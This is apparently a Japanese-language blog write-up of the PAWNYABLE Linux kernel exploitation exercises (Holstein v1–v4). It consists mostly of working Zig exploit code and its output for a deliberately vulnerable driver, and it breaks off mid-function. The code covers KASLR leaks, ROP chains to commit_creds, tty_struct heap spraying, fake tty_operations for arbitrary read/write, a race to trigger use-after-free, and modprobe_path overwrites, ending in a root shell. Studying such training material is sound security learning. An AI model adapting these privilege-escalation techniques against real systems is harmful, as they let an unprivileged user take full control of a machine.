PAWNYABLE
ptr-yudaiのPAWNYABLEを解いてみました。 以下の解法は複雑で、しかも説明は詳しくないかもしれないから、参考以外を利用するには多分難しいだろう。 PAWNYABLEは実にいい資料だから、pwnを学びたいなら、このページを閉じて、そちらに練習してください。
僕の日本語は下手くそだが、それでも書く練習したいと思っている。 それと、pwnにZigを使うことは非常に便利ですが(ま、Cよりも)、ですが資料が存在しないらしい。
この解法は未完成なので、他の課題の解法を見たいなら後ほどでしなよ。
Holstein
v1: Stack Overflow
さて、どの緩和策は有効をチェックしましょう。
Bash
pwn checksec vuln.ko 2>&1[*] './src/vuln.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)
Stripped: NoBash
cat /proc/cpuinfo | grep -q -e 'smep.*smap' && echo 'SMEP/SMAP enabled'
cat /sys/devices/system/cpu/vulnerabilities/meltdown | grep -q -e 'PTI' && echo 'KPTI enabled'
cat /proc/cmdline | grep -q -e 'nokaslr' || echo 'KASLR enabled'SMEP/SMAP enabled
KPTI enabled
KASLR enabledFGKASLRもチェックしましょう:
Bash
cat /proc/kallsyms | grep -e 'startup_64' -e 'swapgs_restore_regs_and_return_to_usermode' -e 'prepare_kernel_cred' -e 'commit_creds'ffffffff99200000 T startup_64
ffffffff99200040 T secondary_startup_64
ffffffff99200045 T secondary_startup_64_no_verify
ffffffff99200230 T __startup_64
ffffffff992005e0 T startup_64_setup_env
ffffffff9926e240 T prepare_kernel_cred
ffffffff9926e390 T commit_creds
ffffffff99a00e10 T swapgs_restore_regs_and_return_to_usermodeBash
# reboot and run again
cat /proc/kallsyms | grep -e 'startup_64' -e 'swapgs_restore_regs_and_return_to_usermode' -e 'prepare_kernel_cred' -e 'commit_creds'ffffffffb7600000 T startup_64
ffffffffb7600040 T secondary_startup_64
ffffffffb7600045 T secondary_startup_64_no_verify
ffffffffb7600230 T __startup_64
ffffffffb76005e0 T startup_64_setup_env
ffffffffb766e240 T prepare_kernel_cred
ffffffffb766e390 T commit_creds
ffffffffb7e00e10 T swapgs_restore_regs_and_return_to_usermodeまず、KASLRを回避するてめに、アドレスリークが必要です。
Zig
const std = @import("std");
pub fn main() !void {
const fd = try std.posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660);
defer std.posix.close(fd);
var buf: [0x400 + 32]u8 = undefined;
const bytes_read = try std.posix.read(fd, &buf);
std.debug.dumpHex(buf[0..bytes_read]);
}ffffffffa0a00000 T startup_64
ffffffffa0a00000 T _stext
ffffffffa0a00000 T _text
ffffffffa0a00040 T secondary_startup_64
ffffffffa0a00045 T secondary_startup_64_no_verify
ffffffffa0a00110 t verify_cpu
ffffffffa0a00210 T sev_verify_cbit
ffffffffa0a00220 T start_cpu0
ffffffffa0a00230 T __startup_64
ffffffffa0a005e0 T startup_64_setup_env
00007ffdcedd8528 06 00 00 00 04 00 00 00 40 00 00 00 00 00 00 00 ........@.......
00007ffdcedd8538 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 @.......@.......
00007ffdcedd8548 68 02 00 00 00 00 00 00 68 02 00 00 00 00 00 00 h.......h.......
00007ffdcedd8558 08 00 00 00 00 00 00 00 03 00 00 00 04 00 00 00 ................
00007ffdcedd8568 A8 02 00 00 00 00 00 00 A8 02 00 00 00 00 00 00 ................
00007ffdcedd8578 A8 02 00 00 00 00 00 00 16 00 00 00 00 00 00 00 ................
00007ffdcedd8588 16 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................
00007ffdcedd8598 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd85a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd85b8 50 AA 00 00 00 00 00 00 50 AA 00 00 00 00 00 00 P.......P.......
00007ffdcedd85c8 00 10 00 00 00 00 00 00 01 00 00 00 05 00 00 00 ................
00007ffdcedd85d8 00 B0 00 00 00 00 00 00 00 B0 00 00 00 00 00 00 ................
00007ffdcedd85e8 00 B0 00 00 00 00 00 00 A4 FF 07 00 00 00 00 00 ................
00007ffdcedd85f8 A4 FF 07 00 00 00 00 00 00 10 00 00 00 00 00 00 ................
00007ffdcedd8608 01 00 00 00 04 00 00 00 00 B0 08 00 00 00 00 00 ................
00007ffdcedd8618 00 B0 08 00 00 00 00 00 00 B0 08 00 00 00 00 00 ................
00007ffdcedd8628 DC 68 02 00 00 00 00 00 DC 68 02 00 00 00 00 00 .h.......h......
00007ffdcedd8638 00 10 00 00 00 00 00 00 01 00 00 00 06 00 00 00 ................
00007ffdcedd8648 20 22 0B 00 00 00 00 00 20 32 0B 00 00 00 00 00 "...... 2......
00007ffdcedd8658 20 32 0B 00 00 00 00 00 03 2E 00 00 00 00 00 00 2..............
00007ffdcedd8668 70 35 00 00 00 00 00 00 00 10 00 00 00 00 00 00 p5..............
00007ffdcedd8678 02 00 00 00 06 00 00 00 90 43 0B 00 00 00 00 00 .........C......
00007ffdcedd8688 90 53 0B 00 00 00 00 00 90 53 0B 00 00 00 00 00 .S.......S......
00007ffdcedd8698 90 01 00 00 00 00 00 00 90 01 00 00 00 00 00 00 ................
00007ffdcedd86a8 08 00 00 00 00 00 00 00 04 00 00 00 04 00 00 00 ................
00007ffdcedd86b8 C0 02 00 00 00 00 00 00 C0 02 00 00 00 00 00 00 ................
00007ffdcedd86c8 C0 02 00 00 00 00 00 00 30 00 00 00 00 00 00 00 ........0.......
00007ffdcedd86d8 30 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 0...............
00007ffdcedd86e8 53 E5 74 64 04 00 00 00 C0 02 00 00 00 00 00 00 S.td............
00007ffdcedd86f8 C0 02 00 00 00 00 00 00 C0 02 00 00 00 00 00 00 ................
00007ffdcedd8708 30 00 00 00 00 00 00 00 30 00 00 00 00 00 00 00 0.......0.......
00007ffdcedd8718 08 00 00 00 00 00 00 00 51 E5 74 64 06 00 00 00 ........Q.td....
00007ffdcedd8728 00 2C 3B 03 8C 9B FF FF 00 00 00 00 00 00 00 00 .,;.............
00007ffdcedd8738 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8748 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 ................
00007ffdcedd8758 52 E5 74 64 04 00 00 00 20 22 0B 00 00 00 00 00 R.td.... "......
00007ffdcedd8768 20 32 0B 00 00 00 00 00 20 32 0B 00 00 00 00 00 2...... 2......
00007ffdcedd8778 E0 2D 00 00 00 00 00 00 E0 2D 00 00 00 00 00 00 .-.......-......
00007ffdcedd8788 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8798 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd87a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd87b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd87c8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd87d8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd87e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd87f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8808 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8818 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8828 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8838 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8848 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8858 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8868 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8878 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8888 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8898 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd88a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd88b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd88c8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd88d8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd88e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd88f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8908 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8918 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffdcedd8928 E8 7E 54 80 04 B2 FF FF 3C D3 B3 A0 FF FF FF FF .~T.....<.......
00007ffdcedd8938 87 CD B4 A0 01 00 00 00 00 8A 6B 02 8C 9B FF FF ..........k.....buf[0x408..][0..8]はカーネルのポインタが似てそうです。
何回を動かすでも、このアドレスはカーネルのベースアドレスからのオフセットは固定です(差は0x13d33c)。
狙いはroot権限昇格なので、ropchainでcommit_creds(prepare_kernel_cred(NULL))を呼びましょう。
Bash
ropr --nosys --nojop -R '^(pop rdi;|pop rax;|mov \[rdi+.{3,5}\], ...;) ret;' vmlinux0xffffffff81049576: add rdi, rsi; add r8, rdi; mov rax, r8; ret;
0xffffffff810a714a: mov rsi, rax; sub rsi, rcx; cmp rdx, rax; cmovs r8, rsi; mov rax, r8; ret;
0xffffffff81c9480d: pop rcx; ret;
0xffffffff81cc6e66: pop rdi; ret;
0xffffffff81f1f0e9: pop rdi; ret;
0xffffffff81f496b1: add rdi, rsi; mov [rdi], rdx; mov [rdi+8], rcx; mov [rdi+0x10], r8d; ret;Zig
var POP_RDI: u64 = 0xffffffff811f61fd;
var POP_RCX: u64 = 0xffffffff8146ee3c;
var ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8: u64 = 0xffffffff81049576;
var MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8: u64 = 0xffffffff810a714a;
var KPTI_TRAMPOLINE: u64 = 0xffffffff81800e10+22;
var PREPARE_KERNEL_CRED: u64 = 0xffffffff8106e240;
var COMMIT_CREDS: u64 = 0xffffffff8106e390;
fn ropchain(fd: std.posix.fd_t) !void {
const file = (std.fs.File{ .handle = fd }).writer();
var bw = std.io.bufferedWriter(file);
const writer = bw.writer();
try writer.writeByteNTimes('A', 0x400+8);
try writer.writeAll(std.mem.asBytes(&[_]u64{
POP_RDI,
0,
PREPARE_KERNEL_CRED,
POP_RDI,
0,
POP_RCX,
0, // make sub rsi, rcx a nop
MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8,
ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8,
COMMIT_CREDS,
KPTI_TRAMPOLINE,
0, // junk
0, // junk
@intFromPtr(&ret2win),
user_cs,
user_rflags,
user_rsp,
user_ss,
}));
try bw.flush();
unreachable;
}
fn adjust_offsets(kaslr_offset: u64) void {
const gadgets = &[_]*u64{
&POP_RDI,
&POP_RCX,
&ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8,
&MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8,
&KPTI_TRAMPOLINE,
&PREPARE_KERNEL_CRED,
&COMMIT_CREDS,
};
for (gadgets) |g| {
g.* += kaslr_offset;
}
}whoami: unknown uid 1337
[INFO] Kernel base: 0xffffffff81000000
[INFO] You won!!
root何故かよく分からないが、ret2winをジャンプした後でSIGSEGVを受け取ってしまった。
swapgs_restore_regs_and_return_to_usermodeはこの状態を避けるはずだったが、易きに付くことをしまし、そしてsigactionでまたret2win呼んでいました。
v2: Heap Overflow
Diff
10c10
< MODULE_DESCRIPTION("Holstein v1 - Vulnerable Kernel Driver for Pawnyable");
---
> MODULE_DESCRIPTION("Holstein v2 - Vulnerable Kernel Driver for Pawnyable");
31,32c31,32
< char __user *buf, size_t count,
< loff_t *f_pos)
---
> char __user *buf, size_t count,
> loff_t *f_pos)
34,35d33
< char kbuf[BUFFER_SIZE] = { 0 };
<
38,39c36
< memcpy(kbuf, g_buf, BUFFER_SIZE);
< if (_copy_to_user(buf, kbuf, count)) {
---
> if (copy_to_user(buf, g_buf, count)) {
51,52d47
< char kbuf[BUFFER_SIZE] = { 0 };
<
55c50
< if (_copy_from_user(kbuf, buf, count)) {
---
> if (copy_from_user(g_buf, buf, count)) {
59d53
< memcpy(g_buf, kbuf, BUFFER_SIZE);
今回はヒープexploit。 スタック上でのデータをリークしたり、リターンアドレスを書き換えたりすることはできない。 だが問題ない——カーネルの構造体をきちんと上書きすれば、権限昇格ができます。
ヒープオーバーフローがg_bufの後ろに書き込むができるが、どうやって構造体を必ず直後に隣り合うように配置できる? ヒープスプレーを使えば簡単だ。複数の構造体を確保すると、g_bufにあるスラブは構造体を配置する、結果的にg_bufの直後に構造体がある可能性が高い。
Zig
fn spray(fds: []std.posix.fd_t) !void {
for (0..fds.len) |i| {
fds[i] = try std.posix.open("/dev/ptmx", .{ .ACCMODE = .RDONLY, .NOCTTY = true }, 0o660);
}
}SLUB(カーネルのヒープ確保ルーチン)はslab確保ルーチンなので、同じくらいサイズの構造体を同じslabに配置する。
なので、約0x400バイトの構造体は必要。
| Generic Cache | Object |
|---|---|
| kmalloc-8 | pci_filp_private signalfd_ctx |
| kmalloc-16 | afs_file aa_revision |
| kmalloc-32 | vmci_host_dev seq_operations (cg cache) coda_file_info shm_file_data |
| kmalloc-64 | snd_info_private_data snd_ctl_file |
| kmalloc-96 | subprocess_info watch_queue vfio_container |
| kmalloc-128 | dlm_user_proc |
| kmalloc-192 | loopback_pcm snd_timer_user pp_struct |
| kmalloc-256 | vhci_data snd_compr_file msg_queue (cg cache) |
| kmalloc-512 | tls_context mousedev_client (input group) |
| kmalloc-1024 | pipe_buffer tty_struct sock xfrm_policy nouveau_cli |
| kmalloc-2048 | super_block perf_event (SELinux disabled) |
| kmalloc-4096 | net_device |
tty_struct1, 2は特に便利だね;const struct tty_operations *opsを制御できれば、そのttyでkoioctl3を呼び出すでき、ACE(Arbitrary Code Execution)ができる。 また、ヒープのアドレスをリークすることができます。
後は2種類のリクが必要です:カーネルアドレス(ROP gadgetのアドレスを計算為)とヒープアドレス(悪用のstruct tty_operations *opsのアドレスを分かり為)。
Zig
const std = @import("std");
pub fn main() !void {
var ttys: [100]std.posix.fd_t = undefined;
defer for (ttys) |tty| std.posix.close(tty);
try spray(ttys[0..50]);
const fd = try std.posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660);
defer std.posix.close(fd);
try spray(ttys[50..]);
var buf: [0x400+0x100]u8 = [_]u8{'A'}**0x400 ++ [_]u8{0}**0x100;
const bytes_read = try std.posix.read(fd, &buf);
std.debug.dumpHex(buf[0x400..bytes_read]);
}Hexdump
00007ffed91dc3f8 01 54 00 00 01 00 00 00 00 00 00 00 00 00 00 00 .T..............
00007ffed91dc408 00 50 D3 02 80 88 FF FF 80 88 C3 81 FF FF FF FF .P..............
00007ffed91dc418 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2...............
00007ffed91dc428 00 00 00 00 00 00 00 00 38 58 0D 03 80 88 FF FF ........8X␍.....
00007ffed91dc438 38 58 0D 03 80 88 FF FF 48 58 0D 03 80 88 FF FF 8X␍.....HX␍.....
00007ffed91dc448 48 58 0D 03 80 88 FF FF 70 7D 73 02 80 88 FF FF HX␍.....p}s.....
00007ffed91dc458 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffed91dc468 70 58 0D 03 80 88 FF FF 70 58 0D 03 80 88 FF FF pX␍.....pX␍.....
00007ffed91dc478 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffed91dc488 90 58 0D 03 80 88 FF FF 90 58 0D 03 80 88 FF FF .X␍......X␍.....
00007ffed91dc498 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffed91dc4a8 B0 58 0D 03 80 88 FF FF B0 58 0D 03 80 88 FF FF .X␍......X␍.....
00007ffed91dc4b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007ffed91dc4c8 00 00 00 00 00 00 00 00 D8 58 0D 03 80 88 FF FF .........X␍.....
00007ffed91dc4d8 D8 58 0D 03 80 88 FF FF 00 00 00 00 00 00 00 00 .X␍.............
00007ffed91dc4e8 00 00 00 00 00 00 00 00 F8 58 0D 03 80 88 FF FF .........X␍.....なんと、tty_structには両方のリクがある!
確かに便利ですね。
通常のtty_structならopsの値はptmx_fopsのアドレス(このvmlinuxでは0xffffffff81c38880)、そしてldisc_sem.read_waitの値はtty_structのアドレス.
Zig
// as of 5.10.7
const tty_struct = extern struct {
const ld_semaphore = extern struct {
const list_head = extern struct {
next: usize = 0xdeadbeefdeadbeef,
prev: usize = 0xcafebabecafebabe,
};
count: u64 = 0,
wait_lock: i32 = 0,
wait_readers: i32 = 0,
read_wait: list_head = .{},
write_wait: list_head = .{},
};
magic: i32 = 0x5401,
kref: i32 = 0,
dev: usize = 0,
driver: usize, // must be a valid heap address
ops: usize,
index: i32 = 0,
ldisc_sem: ld_semaphore = .{},
// don't care about the rest
pub fn init(ops_table: usize) tty_struct {
// ops_table must live on the heap
return .{
.driver = ops_table,
.ops = ops_table,
.ldisc_sem = .{
.read_wait = .{ .next = ops_table, .prev = ops_table },
.write_wait = .{ .next = ops_table, .prev = ops_table },
},
};
}
};
const tty_operations = extern struct {
lookup: usize = 0,
install: usize = 0,
remove: usize = 0,
open: usize = 0,
close: usize = 0,
shutdown: usize = 0,
cleanup: usize = 0,
write: usize = 0,
put_char: usize = 0,
flush_chars: usize = 0,
write_room: usize = 0,
chars_in_buffer: usize = 0,
ioctl: usize,
};Zig
fn leakKASLROffset(fd: std.posix.fd_t) !u64 {
const ptmx_fops_addr: u64 = 0xffffffff81c38880;
var buf: [0x400+@offsetOf(tty_struct, "ops")+@sizeOf(@FieldType(tty_struct, "ops"))]u8 = undefined;
_ = try std.posix.read(fd, &buf);
const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
return ret - ptmx_fops_addr;
}
fn leakGBuf(fd: std.posix.fd_t) !u64 {
const offset = comptime blk: {
const ld_semaphore = @FieldType(tty_struct, "ldisc_sem");
break :blk @offsetOf(tty_struct, "ldisc_sem") + @offsetOf(ld_semaphore, "read_wait") + @sizeOf(@typeInfo(@FieldType(ld_semaphore, "read_wait")).@"struct".fields[0].type);
};
var buf: [0x400+offset]u8 = undefined;
_ = try std.posix.read(fd, &buf);
const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
return ret - (buf.len-8);
}ROPしたいから、悪質のtty_operationsのioctlの値はスタックピボットのアドレスに読み込んでる。
それと、ioctlを読んでる時に幾つかのレジースタは管理するから、第二引数はROPchainのアドレスにする(こう:for (ttys) |tty| _ = std.os.linux.ioctl(tty, 0xdeadbeef, ropchain_addr);)。
Zig
fn posionTTYStruct(fd: std.posix.fd_t, g_buf_addr: u64) !void {
const file = (std.fs.File{ .handle = fd }).writer();
var bw = std.io.bufferedWriter(file);
const writer = bw.writer();
const fake_tty_ops = tty_operations{ .ioctl = PUSH_RDX_MOV_EBP_0x415bffd9_POP_RSP_POP_R13_POP_RBP };
try writer.writeAll(std.mem.asBytes(&fake_tty_ops));
var n_written: usize = @sizeOf(@TypeOf(fake_tty_ops));
n_written += try ropchain(writer);
try writer.writeByteNTimes('A', 0x400 - n_written);
try writer.writeAll(std.mem.asBytes(&tty_struct{ .driver = g_buf_addr, .ops = g_buf_addr })[0..@offsetOf(tty_struct, "ops")+@sizeOf(@FieldType(tty_struct, "ops"))]);
try bw.flush();
}ROPchainの内容はmodprobe_path上書きするやつだ。
Bash
cat /proc/kallsyms | grep -e 'modprobe_path' -e 'swapgs_restore_regs_and_return_to_usermode'ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermodeCONFIG_KALLSYMS_ALL=yがない場合、modprobe_pathは/proc/kallsymsに表さない。
もちろんいるけど。
Python
from pwn import *
vmlinux = ELF("./vmlinux")
hex(next(vmlinux.search("/sbin/modprobe\0")))0xffffffff81e38180またsegfaultの問題が遭遇したので、sigactionを利用した。
Bash
whoami
./exploit
# execute bogus file
/tmp/unknown &> /tmp/null # /dev/null is priviledged
cat /tmp/whoisitwhoami: unknown uid 1337
[INFO] Kernel base: 0xffffffffa0800000
[INFO] g_buf located at: 0xffff9f45c3108000
[INFO] You won!!
root実はスタックピボットは不要でした:AAWガジェットを利用したら結果は同じだ。
他の方法
- core_pattern読み込み
- コアダンプが発生した際、~core_pattern~で定義されたプログラッムが呼び出される。core_patternはFGKASLR影響しを受けないらしいから、特に便利っすね。
- task_struct.cred読み書き
- AARとAAWがあれば、ヒープ上からtask_struct.credを探し出して、それを0をセットする(prctlを利用すればprocessの名は探すやすい値を変われば楽になる)。
v3: Use after Free
Diff
10c10
< MODULE_DESCRIPTION("Holstein v2 - Vulnerable Kernel Driver for Pawnyable");
---
> MODULE_DESCRIPTION("Holstein v3 - Vulnerable Kernel Driver for Pawnyable");
21c21
< g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
---
> g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
35a36,40
> if (count > BUFFER_SIZE) {
> printk(KERN_INFO "invalid buffer size\n");
> return -EINVAL;
> }
>
48a54,58
>
> if (count > BUFFER_SIZE) {
> printk(KERN_INFO "invalid buffer size\n");
> return -EINVAL;
> }
オーバーフローがない。g_bufのUAFを悪用しよう。
攻撃の作戦は:
- 2回で
/dev/holsteinを開く - 一つのfdを閉じる
- 複数のtty_structをスプレーする
- 別のfdで構造体のいずれかを書き換える
Python
from pwn import *
vmlinux = ELF("./vmlinux")
hex(next(vmlinux.search(b"core".ljust(128, b"\0"))))0xffffffff81eb12e0whoami: unknown uid 1337
[INFO] Kernel base: 0xffffffffb0c00000
[INFO] You won!!
rootv4: Race Condition
Diff
10c10
< MODULE_DESCRIPTION("Holstein v3 - Vulnerable Kernel Driver for Pawnyable");
---
> MODULE_DESCRIPTION("Holstein v4 - Vulnerable Kernel Driver for Pawnyable");
14a15
> int mutex = 0;
20a22,27
> if (mutex) {
> printk(KERN_INFO "resource is busy");
> return -EBUSY;
> }
> mutex = 1;
>
71a79
> mutex = 0;
TOCTOUが導入してしまった——mutexの確認と更新はアトミックじゃない。
UAFを成功するためには、二つのスレッドがif (mutex)を通り過し、そして一つを閉じることが必要だ。
Zig
const c = @cImport({
@cDefine("_GNU_SOURCE", {});
@cInclude("pthread.h");
});
var master_fd: ?std.posix.fd_t = null;
fn race_master(slave_sync: *std.Thread.ResetEvent, master_sync: *std.Thread.ResetEvent) void {
while (true) {
std.Thread.sleep(2);
if (std.posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660)) |mfd| {
slave_sync.wait();
slave_sync.reset();
if (slave_fd) |_| {
master_fd = mfd;
master_sync.set();
break;
}
std.posix.close(mfd);
} else |err| switch (err) {
error.DeviceBusy => {
slave_sync.wait();
slave_sync.reset();
},
else => unreachable,
}
master_sync.set(); // resume execution of slave
}
}
var slave_fd: ?std.posix.fd_t = null;
fn race_slave(slave_sync: *std.Thread.ResetEvent, master_sync: *std.Thread.ResetEvent) void {
while (true) {
std.Thread.sleep(2);
if (std.posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660)) |sfd| {
slave_fd = sfd;
slave_sync.set();
master_sync.wait(); // sleep and let master resume execution
master_sync.reset();
std.posix.close(sfd);
slave_fd = null;
if (master_fd) |_| break;
} else |err| switch (err) {
error.DeviceBusy => {
slave_sync.set();
master_sync.wait(); // sleep and let master resume execution
master_sync.reset();
},
else => unreachable,
}
}
}
fn pinThreadToCore(thread: std.Thread.Handle, core: usize) !void {
var cpu = std.bit_set.ArrayBitSet(usize, std.os.linux.CPU_SETSIZE*@sizeOf(usize)).initEmpty();
cpu.set(core);
const err = c.pthread_setaffinity_np(@ptrCast(thread), @sizeOf(std.posix.cpu_set_t), @ptrCast(&@as(std.posix.cpu_set_t, @bitCast(cpu.masks))));
switch (@as(std.posix.E, @enumFromInt(err))) {
.SUCCESS => return,
.FAULT => unreachable,
.INVAL => return error.InvalidArgument,
.SRCH => return error.ProcessNotFound,
else => |e| return std.posix.unexpectedErrno(e),
}
}
fn race() !std.posix.fd_t {
std.debug.assert(try std.Thread.getCpuCount() > 1);
var slave_sync = std.Thread.ResetEvent{};
var master_sync = std.Thread.ResetEvent{};
var t1 = try std.Thread.spawn(.{}, race_master, .{&slave_sync, &master_sync});
var t2 = try std.Thread.spawn(.{}, race_slave, .{&slave_sync, &master_sync});
try pinThreadToCore(t1.getHandle(), 0);
try pinThreadToCore(t2.getHandle(), 1);
t1.join();
t2.join();
std.debug.print("[INFO] Won the race\n", .{});
defer master_fd = null;
return master_fd.?;
}[INFO] Won the race複数のコアをヒープスップレする時には微妙な違いはある。 以下の説明は多分間違いが含むてる。
g_bufを解法する時(コア1で)、おそらくg_bufに居るスラブはコア0またはコア1のいずれかのアクティブスラブ。何故なら、確保した時点で真っ直ぐに解放したから。 g_bufはコア1に確保した場合、解法するとコア1のアクティブスラブのlock-freeフリーリスト(それとスラブのフリーリストは別物)。 つまり、~g_buf~に行った空虚な空間に新しい構造体を確保するてめに、その構造体はコア1から確保する必要です。 g_bufはコア0に確保したとコア1に解法した場合、アクティブスラブのフリーリストに追加する。 コア0に確保するでもコア1に確保するでも、結果は同じだ。4, 5.
要するに、コア0とコア1両方にスプレするが必要だ。
Zig
fn spray(dangling_fd: std.posix.fd_t, tty_fd: *?std.posix.fd_t) void {
var fds: [100]std.posix.fd_t = undefined;
var i: usize = 0;
defer for (0..i) |j| std.posix.close(fds[j]);
while (i < fds.len) : (i += 1) {
fds[i] = std.posix.open("/dev/ptmx", .{ .ACCMODE = .RDONLY, .NOCTTY = true }, 0o660) catch return;
// check if dangling_fd point to a tty_struct
var buf = [_]u8{0} ** @sizeOf(@FieldType(tty_struct, "magic"));
_ = std.posix.read(dangling_fd, &buf) catch return;
if (std.mem.eql(u8, &buf, std.mem.asBytes(&tty_struct{ .ops = undefined, .driver = undefined })[0..buf.len])) {
tty_fd.* = fds[i];
return;
}
}
}
fn getTty(fd: std.posix.fd_t) !std.posix.fd_t {
return for (0..2) |cpu| {
var ret: ?std.posix.fd_t = null;
var t = try std.Thread.spawn(.{}, spray, .{fd, &ret});
try pinThreadToCore(t.getHandle(), cpu);
t.join();
if (ret) |tty_fd| {
std.debug.print("[INFO] Heap spray succeeded on core {d}\n", .{cpu});
break tty_fd;
} else {
std.debug.print("[INFO] Heap spray failed on core {d}, retrying on {d}...\n", .{cpu, cpu+1});
}
} else error.SprayFailed;
}[INFO] Won the race
[INFO] Heap spray succeeded on core 0後はv3と同様にexploitする。今度はtask_structを書き込めるしましょう。
Zig
const std = @import("std");
<<lk01-lib>>
<<lk01-4-race>>
<<lk01-4-spray>>
<<tty_struct>>
var MOV_ADDROF_RDX_RCX: u64 = 0xffffffff811b72c6;
var MOV_EAX_ADDROF_RDX: u64 = 0xffffffff8145e3a8;
var aa_memoize: ?enum { read, write } = null;
fn aaw(fd: std.posix.fd_t, tty: std.posix.fd_t, g_buf_addr: u64, value: u32, address: u64) !void {
switch (aa_memoize orelse .read) {
.write => {},
else => {
_ = try std.posix.write(fd, std.mem.asBytes(&tty_struct.init(g_buf_addr + @sizeOf(tty_struct))) ++ std.mem.asBytes(&tty_operations{ .ioctl = MOV_ADDROF_RDX_RCX }));
aa_memoize = .write;
},
}
switch (std.posix.errno(std.os.linux.ioctl(tty, value, address))) {
.SUCCESS => {},
else => return error.AAWFail,
}
}
fn aar(fd: std.posix.fd_t, tty: std.posix.fd_t, g_buf_addr: u64, address: u64) !u32 {
switch (aa_memoize orelse .write) {
.read => {},
else => {
_ = try std.posix.write(fd, std.mem.asBytes(&tty_struct.init(g_buf_addr + @sizeOf(tty_struct))) ++ std.mem.asBytes(&tty_operations{ .ioctl = MOV_EAX_ADDROF_RDX }));
aa_memoize = .read;
},
}
// we hijack the return value of ioctl, so we can't check it for errors
return @intCast(0xffffffff & std.os.linux.ioctl(tty, 0xdeadbeef, address));
}
fn adjust_offsets(kaslr_offset: u64) void {
const gadgets = &[_]*u64{
&MOV_ADDROF_RDX_RCX,
&MOV_EAX_ADDROF_RDX,
};
for (gadgets) |g| {
g.* += kaslr_offset;
}
}
fn leakKASLROffset(fd: std.posix.fd_t) !u64 {
const ptmx_fops_addr: u64 = 0xffffffff81c3afe0;
var buf: [@offsetOf(tty_struct, "ops")+@sizeOf(@FieldType(tty_struct, "ops"))]u8 = undefined;
_ = try std.posix.read(fd, &buf);
const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
return ret - ptmx_fops_addr;
}
fn leakHeap(fd: std.posix.fd_t) !u64 {
const offset = comptime blk: {
const ld_semaphore = @FieldType(tty_struct, "ldisc_sem");
break :blk @offsetOf(tty_struct, "ldisc_sem") + @offsetOf(ld_semaphore, "read_wait") + @sizeOf(@typeInfo(@FieldType(ld_semaphore, "read_wait")).@"struct".fields[0].type);
};
var buf: [offset]u8 = undefined;
_ = try std.posix.read(fd, &buf);
const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
return ret - (buf.len-8);
}
fn ret2win() noreturn {
std.debug.print("[INFO] You won!!\n", .{});
